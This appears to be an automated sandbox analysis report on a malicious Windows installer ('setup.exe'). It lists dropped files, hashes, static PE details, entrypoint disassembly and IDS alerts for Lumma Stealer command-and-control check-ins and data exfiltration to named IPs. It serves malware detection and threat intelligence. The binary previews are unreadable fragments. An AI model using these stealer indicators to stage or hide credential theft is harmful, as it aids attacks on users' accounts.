SSDEEP:	768:Z4NHPfHCs6GNOpiM+RFjFyzcN23A4F+OiR9riuujF+X4UriXiRF:Zanvc+R9F4s8/RiPWuUs4UWXiv
MD5:	C6AE924AD02500284F7E4EFA11FA7CFC
SHA1:	2A7770B473B0A7DC9A331D017297FF5AF400FED8
SHA-256:	31D04C1E4BFDFA34704C142FA98F80C0A3076E4B312D6ADA57C4BE9D9C7DCF26
SHA-512:	F321E4820B39D1642FC43BF1055471A323EDCC0C4CBD3DDD5AD26A7B28C4FB9FC4E57C00AE7819A4F45A3E0BB9C7BAA0BA19C3CEEDACF38B911CDF625AA7DDAE
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......g...#~..#~..#~...q.. ~..#~..!~......"~......+~......"~......"~..Rich#~..........................PE..L....[.L...........!.....6...........E.......P......................................D=...............................P.......P..(....................L.. ?...p.......................................................P...............................text....5.......6.................. ..`.rdata.......P.......:..............@..@.data...8....`.......<..............@....reloc.......p.......J..............@..B................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\is-MO41V.tmp\_isetup\_setup64.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-DJ3IP.tmp\F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	6144
Entropy (8bit):	4.720366600008286
Encrypted:	false
SSDEEP:	96:sfkcXegaJ/ZAYNzcld1xaX12p+gt1sONA0:sfJEVYlvxaX12C6A0
MD5:	E4211D6D009757C078A9FAC7FF4F03D4
SHA1:	019CD56BA687D39D12D4B13991C9A42EA6BA03DA
SHA-256:	388A796580234EFC95F3B1C70AD4CB44BFDDC7BA0F9203BF4902B9929B136F95
SHA-512:	17257F15D843E88BB78ADCFB48184B8CE22109CC2C99E709432728A392AFAE7B808ED32289BA397207172DE990A354F15C2459B6797317DA8EA18B040C85787E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......^...............l...............=\......=\......=\......Rich............................PE..d.....R..........#............................@.............................`.......,......................................................<!.......P..H....@..0.................................................................... ...............................text............................... ..`.rdata..\|.... ......................@..@.data...,....0......................@....pdata..0....@......................@..@.rsrc...H....P......................@..@................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-DJ3IP.tmp\F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	846325235
Entropy (8bit):	0.13954043794048707
Encrypted:	false
SSDEEP:
MD5:	6A8860A8150021B2D5B9BB707DE4FA37
SHA1:	FEB8A10FEE0388E1D93C669444F3A237C38EA5E4
SHA-256:	0CE2CDB61164F5C03D11DEF609873901F58510F764E8491B4EC1A5D3E0759E0B
SHA-512:	899CC13F5CD136D9F3D06BD13BD608CAB1DCEC1CE2F550A371C76253CFB155149A2CAE9827A365CCCFFA921A607A684DC7CD1A15645D317D7D9C199CEA1735F8
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 8%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........"w.RC..RC..RC..I..`C..I...C..[;..UC..[;..IC..RC...B..I..NC..I..{C..I..SC..I..SC..RichRC..........................PE..L....NKO......................h...................@..........................@r.......r.......@.........................................:.e..........................................................................................................text...!........................... ..`.rdata...1.......2..................@..@.data...x........,..................@....rsrc...:.e.......e.................@..@........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\ColorStreamLib\is-T64JA.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-DJ3IP.tmp\F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	846325235
Entropy (8bit):	0.13954043794048707
Encrypted:	false
SSDEEP:
MD5:	6A8860A8150021B2D5B9BB707DE4FA37
SHA1:	FEB8A10FEE0388E1D93C669444F3A237C38EA5E4
SHA-256:	0CE2CDB61164F5C03D11DEF609873901F58510F764E8491B4EC1A5D3E0759E0B
SHA-512:	899CC13F5CD136D9F3D06BD13BD608CAB1DCEC1CE2F550A371C76253CFB155149A2CAE9827A365CCCFFA921A607A684DC7CD1A15645D317D7D9C199CEA1735F8
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 8%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........"w.RC..RC..RC..I..`C..I...C..[;..UC..[;..IC..RC...B..I..NC..I..{C..I..SC..I..SC..RichRC..........................PE..L....NKO......................h...................@..........................@r.......r.......@.........................................:.e..........................................................................................................text...!........................... ..`.rdata...1.......2..................@..@.data...x........,..................@....rsrc...:.e.......e.................@..@........................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.100988274870544
TrID:	Win32 Executable (generic) a (10002005/4) 99.79% Win32 Executable Delphi generic (14689/80) 0.15% Win16/32 Executable Delphi generic (2074/23) 0.02% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02%
File name:	setup.exe
File size:	2'097'152 bytes
MD5:	d781fd542a1dcb91c07c192bcac16f8e
SHA1:	86ba60cac73d2f28120d452783622e7844e427f0
SHA256:	7d28c7b252fb0b95ea0b5f305e5bb4e781773a9a8582a7cf1076650677263ef0
SHA512:	0ddbbd3adee993b4cd0a9504febc7b64b72213dc49ffe70b80014a99ba317c0b16c78c2815333ccb1f5c218da27748869fb989fbed4bae4a5a23bce8dc847d5b
SSDEEP:	49152:kuGsknvHDK8YcrWaCyqp1uw/0L5HiwSX1W//Jg:/GsknvHe8Yzacp50LpSX1W//Jg
TLSH:	37A59DA2FB4388B3F227263D1D4AD794552E7F115FF0648B3BF84A4C0BB561139252AB
File Content Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7.......................................................................................................................................

File Icon


Icon Hash:	3e5fcdce1f0c2813

Static PE Info

General

Entrypoint:	0x52859c
Entrypoint Section:	CODE
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI
DLL Characteristics:
Time Stamp:	0x2A425E19 [Fri Jun 19 22:22:17 1992 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	ba8c1dbdc3c38ecddecbc436d980538f

Authenticode Signature

Signature Valid:
Signature Issuer:
Signature Validation Error:
Error Number:
Not Before, Not After
Subject Chain
Version:
Thumbprint MD5:
Thumbprint SHA-1:
Thumbprint SHA-256:
Serial:

Entrypoint Preview

Instruction
push ebp
mov ebp, esp
add esp, FFFFFFF0h
mov eax, 00528184h
call 00007F1EA46DE041h
mov eax, dword ptr [0052C484h]
mov eax, dword ptr [eax]
call 00007F1EA474444Dh
mov ecx, dword ptr [0052C1D8h]
mov eax, dword ptr [0052C484h]
mov eax, dword ptr [eax]
mov edx, dword ptr [005263B0h]
call 00007F1EA474444Dh
mov ecx, dword ptr [0052C15Ch]
mov eax, dword ptr [0052C484h]
mov eax, dword ptr [eax]
mov edx, dword ptr [00525E40h]
call 00007F1EA4744435h
mov eax, dword ptr [0052C484h]
mov eax, dword ptr [eax]
call 00007F1EA47444A9h
call 00007F1EA46DB8D8h
lea eax, dword ptr [eax+00h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x12f000	0x295e	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x14f000	0xb8000	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x1ae200	0x2118	.rsrc
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x134000	0x1a13c	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x133000	0x18	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
CODE	0x1000	0x1275fc	0x127600	27895dc7cfed60c02965a018dea8e393	False	0.45191989790520526	data	6.565736518746283	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
DATA	0x129000	0x36c0	0x3800	f15602958cfed3b9c1fa839de845894e	False	0.35498046875	data	4.044626185990053	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
BSS	0x12d000	0x1d21	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x12f000	0x295e	0x2a00	7d48f980de0ab1b669d230f1aad47239	False	0.3625372023809524	data	5.0281993778896545	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.tls	0x132000	0x10	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rdata	0x133000	0x18	0x200	b90be1293225713fd61560e123c5aa47	False	0.05078125	MacBinary, Mon Feb 6 07:28:16 2040 INVALID date, modified Mon Feb 6 07:28:16 2040 "S"	0.2069200177871819	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_SHARED, IMAGE_SCN_MEM_READ
.reloc	0x134000	0x1a13c	0x1a200	c839772e1a25c7cda4d2220521452f23	False	0.39902624102870815	data	6.531022351368505	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_SHARED, IMAGE_SCN_MEM_READ
.rsrc	0x14f000	0xb8000	0xb8000	69373147e9c6f8f4d0346c863698e9a8	False	0.5736163595448369	data	7.41063875303202	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_SHARED, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_CURSOR	0x14fe4c	0x134	Targa image data - Map 64 x 65536 x 1 +32 "\001"			0.38636363636363635
RT_CURSOR	0x14ff80	0x134	data			0.4642857142857143
RT_CURSOR	0x1500b4	0x134	data			0.4805194805194805
RT_CURSOR	0x1501e8	0x134	data			0.38311688311688313
RT_CURSOR	0x15031c	0x134	data			0.36038961038961037
RT_CURSOR	0x150450	0x134	data			0.4090909090909091
RT_CURSOR	0x150584	0x134	Targa image data - RGB 64 x 65536 x 1 +32 "\001"			0.4967532467532468
RT_BITMAP	0x1506b8	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360			0.43103448275862066
RT_BITMAP	0x150888	0x1e4	Device independent bitmap graphic, 36 x 19 x 4, image size 380			0.46487603305785125
RT_BITMAP	0x150a6c	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360			0.43103448275862066
RT_BITMAP	0x150c3c	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360			0.39870689655172414
RT_BITMAP	0x150e0c	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360			0.4245689655172414
RT_BITMAP	0x150fdc	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360			0.5021551724137931
RT_BITMAP	0x1511ac	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360			0.5064655172413793
RT_BITMAP	0x15137c	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360			0.39655172413793105
RT_BITMAP	0x15154c	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360			0.5344827586206896
RT_BITMAP	0x15171c	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360			0.39655172413793105
RT_BITMAP	0x1518ec	0xe8	Device independent bitmap graphic, 16 x 16 x 4, image size 128			0.4870689655172414
RT_ICON	0x1519d4	0x10828	Device independent bitmap graphic, 128 x 256 x 32, image size 0	Chinese	China	0.2980894357033006
RT_ICON	0x1621fc	0x4228	Device independent bitmap graphic, 64 x 128 x 32, image size 0	Chinese	China	0.43776570618800187
RT_ICON	0x166424	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	Chinese	China	0.5142116182572614
RT_ICON	0x1689cc	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	Chinese	China	0.5811444652908068
RT_ICON	0x169a74	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 0	Chinese	China	0.6598360655737705
RT_ICON	0x16a3fc	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	Chinese	China	0.749113475177305
RT_DIALOG	0x16a864	0x52	data			0.7682926829268293
RT_STRING	0x16a8b8	0xe4	data			0.5789473684210527
RT_STRING	0x16a99c	0x1e4	data			0.38016528925619836
RT_STRING	0x16ab80	0x1a4	data			0.4714285714285714
RT_STRING	0x16ad24	0x11c	data			0.5880281690140845
RT_STRING	0x16ae40	0x38c	data			0.4251101321585903
RT_STRING	0x16b1cc	0xc4	data			0.6071428571428571
RT_STRING	0x16b290	0xec	data			0.597457627118644
RT_STRING	0x16b37c	0x130	data			0.5625
RT_STRING	0x16b4ac	0x3c0	data			0.4
RT_STRING	0x16b86c	0x400	data			0.3876953125
RT_STRING	0x16bc6c	0x314	data			0.4022842639593909
RT_STRING	0x16bf80	0x334	data			0.3426829268292683
RT_STRING	0x16c2b4	0x404	data			0.3754863813229572
RT_STRING	0x16c6b8	0x114	data			0.5
RT_STRING	0x16c7cc	0xe4	data			0.5482456140350878
RT_STRING	0x16c8b0	0x24c	data			0.477891156462585
RT_STRING	0x16cafc	0x3cc	data			0.30246913580246915
RT_STRING	0x16cec8	0x3ac	data			0.37553191489361704
RT_STRING	0x16d274	0x2d4	data			0.4046961325966851
RT_RCDATA	0x16d548	0x242bf	Delphi compiled form 'TvgBackground'	English	United States	0.2749883571028422
RT_RCDATA	0x191808	0x10	data			1.5
RT_RCDATA	0x191818	0x670	data			0.6037621359223301
RT_RCDATA	0x191e88	0xa2a	Delphi compiled form 'TfrmAbout'			0.23904688700999233
RT_RCDATA	0x1928b4	0x817	Delphi compiled form 'TfrmControlBox'			0.3896668276195075
RT_RCDATA	0x1930cc	0x1ce81	Delphi compiled form 'TfrmPlayer'			0.9742231906825112
RT_RCDATA	0x1aff50	0x1809	Delphi compiled form 'TvgBitmapEditor'			0.3528360149520559
RT_RCDATA	0x1b175c	0x3144	Delphi compiled form 'TvgBrushDesign'			0.20480494766888677
RT_RCDATA	0x1b48a0	0x80e	Delphi compiled form 'TvgPathDataDesigner'			0.4010669253152279
RT_GROUP_CURSOR	0x1b50b0	0x14	Lotus unknown worksheet or configuration, revision 0x1			1.25
RT_GROUP_CURSOR	0x1b50c4	0x14	Lotus unknown worksheet or configuration, revision 0x1			1.25
RT_GROUP_CURSOR	0x1b50d8	0x14	Lotus unknown worksheet or configuration, revision 0x1			1.3
RT_GROUP_CURSOR	0x1b50ec	0x14	Lotus unknown worksheet or configuration, revision 0x1			1.3
RT_GROUP_CURSOR	0x1b5100	0x14	Lotus unknown worksheet or configuration, revision 0x1			1.3
RT_GROUP_CURSOR	0x1b5114	0x14	Lotus unknown worksheet or configuration, revision 0x1			1.3
RT_GROUP_CURSOR	0x1b5128	0x14	Lotus unknown worksheet or configuration, revision 0x1			1.3
RT_GROUP_ICON	0x1b513c	0x5a	data	Chinese	China	0.7888888888888889
RT_MANIFEST	0x1b5198	0x17d	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.5931758530183727

Imports

DLL	Import
kernel32.dll	DeleteCriticalSection, LeaveCriticalSection, EnterCriticalSection, InitializeCriticalSection, VirtualFree, VirtualAlloc, LocalFree, LocalAlloc, GetVersion, GetCurrentThreadId, InterlockedDecrement, InterlockedIncrement, VirtualQuery, WideCharToMultiByte, MultiByteToWideChar, lstrlenA, lstrcpynA, LoadLibraryExA, GetThreadLocale, GetStartupInfoA, GetProcAddress, GetModuleHandleA, GetModuleFileNameA, GetLocaleInfoA, GetCommandLineA, FreeLibrary, FindFirstFileA, FindClose, ExitProcess, ExitThread, CreateThread, WriteFile, UnhandledExceptionFilter, RtlUnwind, RaiseException, GetStdHandle
user32.dll	GetKeyboardType, LoadStringA, MessageBoxA, CharNextA
advapi32.dll	RegQueryValueExA, RegOpenKeyExA, RegCloseKey
oleaut32.dll	SysFreeString, SysReAllocStringLen, SysAllocStringLen
kernel32.dll	TlsSetValue, TlsGetValue, LocalAlloc, GetModuleHandleA
advapi32.dll	RegQueryValueExA, RegOpenKeyExA, RegCloseKey
kernel32.dll	lstrcpyA, WriteFile, WaitForSingleObject, VirtualQuery, VirtualAlloc, SystemTimeToFileTime, Sleep, SizeofResource, SetThreadLocale, SetLastError, SetFilePointer, SetEvent, SetErrorMode, SetEnvironmentVariableW, SetEnvironmentVariableA, SetEndOfFile, SetCurrentDirectoryW, ResumeThread, ResetEvent, ReleaseMutex, ReadFile, OutputDebugStringA, MulDiv, LockResource, LocalFileTimeToFileTime, LoadResource, LoadLibraryExW, LoadLibraryW, LoadLibraryA, LeaveCriticalSection, InitializeCriticalSection, GlobalUnlock, GlobalReAlloc, GlobalHandle, GlobalLock, GlobalFree, GlobalFindAtomA, GlobalDeleteAtom, GlobalAlloc, GlobalAddAtomA, GetVersionExA, GetVersion, GetTimeZoneInformation, GetTickCount, GetThreadLocale, GetSystemInfo, GetStringTypeExA, GetStdHandle, GetProfileStringA, GetProcAddress, GetModuleHandleA, GetModuleFileNameW, GetModuleFileNameA, GetLocaleInfoA, GetLocalTime, GetLastError, GetFullPathNameW, GetFullPathNameA, GetFileSize, GetFileAttributesW, GetFileAttributesA, GetExitCodeThread, GetEnvironmentVariableW, GetDiskFreeSpaceA, GetDateFormatA, GetCurrentThreadId, GetCurrentProcessId, GetCurrentDirectoryW, GetCPInfo, GetACP, FreeResource, InterlockedIncrement, InterlockedExchange, InterlockedDecrement, FreeLibrary, FormatMessageA, FindResourceA, FindNextFileW, FindFirstFileW, FindFirstFileA, FindClose, FileTimeToLocalFileTime, FileTimeToDosDateTime, EnumCalendarInfoA, EnterCriticalSection, DeleteCriticalSection, CreateThread, CreateMutexA, CreateFileW, CreateFileA, CreateEventA, CompareStringW, CompareStringA, CloseHandle
version.dll	VerQueryValueA, GetFileVersionInfoSizeA, GetFileVersionInfoA
gdi32.dll	UnrealizeObject, StretchBlt, SetWindowOrgEx, SetWinMetaFileBits, SetViewportOrgEx, SetTextColor, SetStretchBltMode, SetROP2, SetPixel, SetEnhMetaFileBits, SetDIBColorTable, SetBrushOrgEx, SetBkMode, SetBkColor, SelectPalette, SelectObject, SelectClipRgn, SaveDC, RestoreDC, Rectangle, RectVisible, RealizePalette, Polyline, PlayEnhMetaFile, PatBlt, MoveToEx, MaskBlt, LineTo, IntersectClipRect, GetWindowOrgEx, GetWinMetaFileBits, GetTextMetricsA, GetTextExtentPointA, GetTextExtentPoint32A, GetSystemPaletteEntries, GetStockObject, GetRegionData, GetPixel, GetPaletteEntries, GetObjectA, GetEnhMetaFilePaletteEntries, GetEnhMetaFileHeader, GetEnhMetaFileBits, GetDeviceCaps, GetDIBits, GetDIBColorTable, GetDCOrgEx, GetCurrentPositionEx, GetClipBox, GetBrushOrgEx, GetBitmapBits, GdiFlush, ExtTextOutA, ExcludeClipRect, EndPage, EndDoc, DeleteObject, DeleteEnhMetaFile, DeleteDC, CreateSolidBrush, CreateRectRgn, CreatePenIndirect, CreatePalette, CreateICA, CreateHalftonePalette, CreateFontIndirectA, CreateDIBitmap, CreateDIBSection, CreateDCA, CreateCompatibleDC, CreateCompatibleBitmap, CreateBrushIndirect, CreateBitmap, CopyEnhMetaFileA, CombineRgn, BitBlt
user32.dll	CreateWindowExA, WindowFromPoint, WinHelpA, WaitMessage, UpdateWindow, UnregisterClassA, UnhookWindowsHookEx, TranslateMessage, TranslateMDISysAccel, TrackPopupMenu, SystemParametersInfoA, ShowWindow, ShowScrollBar, ShowOwnedPopups, ShowCursor, SetWindowsHookExA, SetWindowTextA, SetWindowPos, SetWindowPlacement, SetWindowLongW, SetWindowLongA, SetTimer, SetScrollRange, SetScrollPos, SetScrollInfo, SetRect, SetPropA, SetParent, SetMenuItemInfoA, SetMenu, SetForegroundWindow, SetFocus, SetCursor, SetClipboardData, SetClassLongA, SetCapture, SetActiveWindow, SendMessageA, SendDlgItemMessageA, ScrollWindow, ScreenToClient, RemovePropA, RemoveMenu, ReleaseDC, ReleaseCapture, RegisterWindowMessageA, RegisterClipboardFormatA, RegisterClassA, RedrawWindow, PtInRect, PostQuitMessage, PostMessageA, PeekMessageW, PeekMessageA, OpenClipboard, OffsetRect, OemToCharA, MsgWaitForMultipleObjects, MessageBoxA, MessageBeep, MapWindowPoints, MapVirtualKeyA, LoadStringA, LoadKeyboardLayoutA, LoadIconA, LoadCursorA, LoadBitmapA, KillTimer, IsZoomed, IsWindowVisible, IsWindowUnicode, IsWindowEnabled, IsWindow, IsRectEmpty, IsIconic, IsDialogMessageA, IsClipboardFormatAvailable, IsChild, InvalidateRect, IntersectRect, InsertMenuItemA, InsertMenuA, InflateRect, GetWindowThreadProcessId, GetWindowTextA, GetWindowRect, GetWindowPlacement, GetWindowLongA, GetWindowDC, GetUpdateRgn, GetTopWindow, GetSystemMetrics, GetSystemMenu, GetSysColorBrush, GetSysColor, GetSubMenu, GetScrollRange, GetScrollPos, GetScrollInfo, GetPropA, GetParent, GetWindow, GetMenuStringA, GetMenuState, GetMenuItemInfoA, GetMenuItemID, GetMenuItemCount, GetMenu, GetLastActivePopup, GetKeyboardState, GetKeyboardLayoutList, GetKeyboardLayout, GetKeyState, GetKeyNameTextA, GetIconInfo, GetForegroundWindow, GetFocus, GetDlgItem, GetDesktopWindow, GetDCEx, GetDC, GetCursorPos, GetCursor, GetClipboardData, GetClientRect, GetClassNameA, GetClassLongA, GetClassInfoA, GetCapture, GetActiveWindow, FrameRect, FindWindowExA, FindWindowA, FillRect, EqualRect, EnumWindows, EnumThreadWindows, EnumClipboardFormats, EndPaint, EnableWindow, EnableScrollBar, EnableMenuItem, EmptyClipboard, DrawTextA, DrawMenuBar, DrawIconEx, DrawIcon, DrawFrameControl, DrawFocusRect, DrawEdge, DispatchMessageW, DispatchMessageA, DestroyWindow, DestroyMenu, DestroyIcon, DestroyCursor, DeleteMenu, DefWindowProcA, DefMDIChildProcA, DefFrameProcA, CreatePopupMenu, CreateMenu, CreateIcon, CloseClipboard, ClientToScreen, CheckMenuItem, CharUpperBuffW, CharLowerBuffW, CallWindowProcA, CallNextHookEx, BeginPaint, CharNextA, CharLowerBuffA, CharLowerA, CharUpperBuffA, CharToOemA, AdjustWindowRectEx, ActivateKeyboardLayout
kernel32.dll	Sleep
oleaut32.dll	SafeArrayPtrOfIndex, SafeArrayGetElement, SafeArrayUnaccessData, SafeArrayAccessData, SafeArrayGetUBound, SafeArrayGetLBound, SafeArrayCreate, VariantChangeType, VariantCopy, VariantClear, VariantInit
ole32.dll	ReleaseStgMedium, RevokeDragDrop, RegisterDragDrop, OleInitialize, CoCreateInstance
comctl32.dll	ImageList_SetIconSize, ImageList_GetIconSize, ImageList_Write, ImageList_Read, ImageList_GetDragImage, ImageList_DragShowNolock, ImageList_SetDragCursorImage, ImageList_DragMove, ImageList_DragLeave, ImageList_DragEnter, ImageList_EndDrag, ImageList_BeginDrag, ImageList_Remove, ImageList_DrawEx, ImageList_Replace, ImageList_Draw, ImageList_GetBkColor, ImageList_SetBkColor, ImageList_ReplaceIcon, ImageList_Add, ImageList_GetImageCount, ImageList_Destroy, ImageList_Create, InitCommonControls
imm32.dll	ImmSetCompositionWindow, ImmSetCompositionFontA, ImmGetCompositionStringW, ImmReleaseContext, ImmGetContext
winspool.drv	OpenPrinterA, EnumPrintersA, DocumentPropertiesA, ClosePrinter
shell32.dll	DragQueryFileW, DragQueryFileA
comdlg32.dll	ChooseFontA, ChooseColorA, GetSaveFileNameA, GetOpenFileNameA

Possible Origin

Language of compilation system	Country where language is spoken	Map
Chinese	China
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-30T19:10:12.312033+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49730	104.21.32.1	443	TCP
2024-12-30T19:10:12.801798+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	49730	104.21.32.1	443	TCP
2024-12-30T19:10:12.801798+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49730	104.21.32.1	443	TCP
2024-12-30T19:10:13.288627+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49731	104.21.32.1	443	TCP
2024-12-30T19:10:13.761440+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.4	49731	104.21.32.1	443	TCP
2024-12-30T19:10:13.761440+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49731	104.21.32.1	443	TCP
2024-12-30T19:10:14.567126+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49733	104.21.32.1	443	TCP
2024-12-30T19:10:15.816311+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49735	104.21.32.1	443	TCP
2024-12-30T19:10:17.287015+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49739	104.21.32.1	443	TCP
2024-12-30T19:10:20.610274+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49741	104.21.32.1	443	TCP
2024-12-30T19:10:21.064381+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.4	49741	104.21.32.1	443	TCP
2024-12-30T19:10:21.807662+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49742	104.21.32.1	443	TCP
2024-12-30T19:10:25.849669+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49743	104.21.32.1	443	TCP
2024-12-30T19:10:28.623498+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49744	104.21.32.1	443	TCP
2024-12-30T19:10:29.102995+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49744	104.21.32.1	443	TCP
2024-12-30T19:10:29.906966+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49745	185.161.251.21	443	TCP
2024-12-30T19:10:30.691182+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49746	172.67.208.58	443	TCP
2024-12-30T19:10:31.106563+0100	2008438	ET MALWARE Possible Windows executable sent when remote host claims to send a Text File	1	172.67.208.58	443	192.168.2.4	49746	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 30, 2024 19:10:11.845666885 CET	49730	443	192.168.2.4	104.21.32.1
Dec 30, 2024 19:10:11.845700979 CET	443	49730	104.21.32.1	192.168.2.4
Dec 30, 2024 19:10:11.845913887 CET	49730	443	192.168.2.4	104.21.32.1
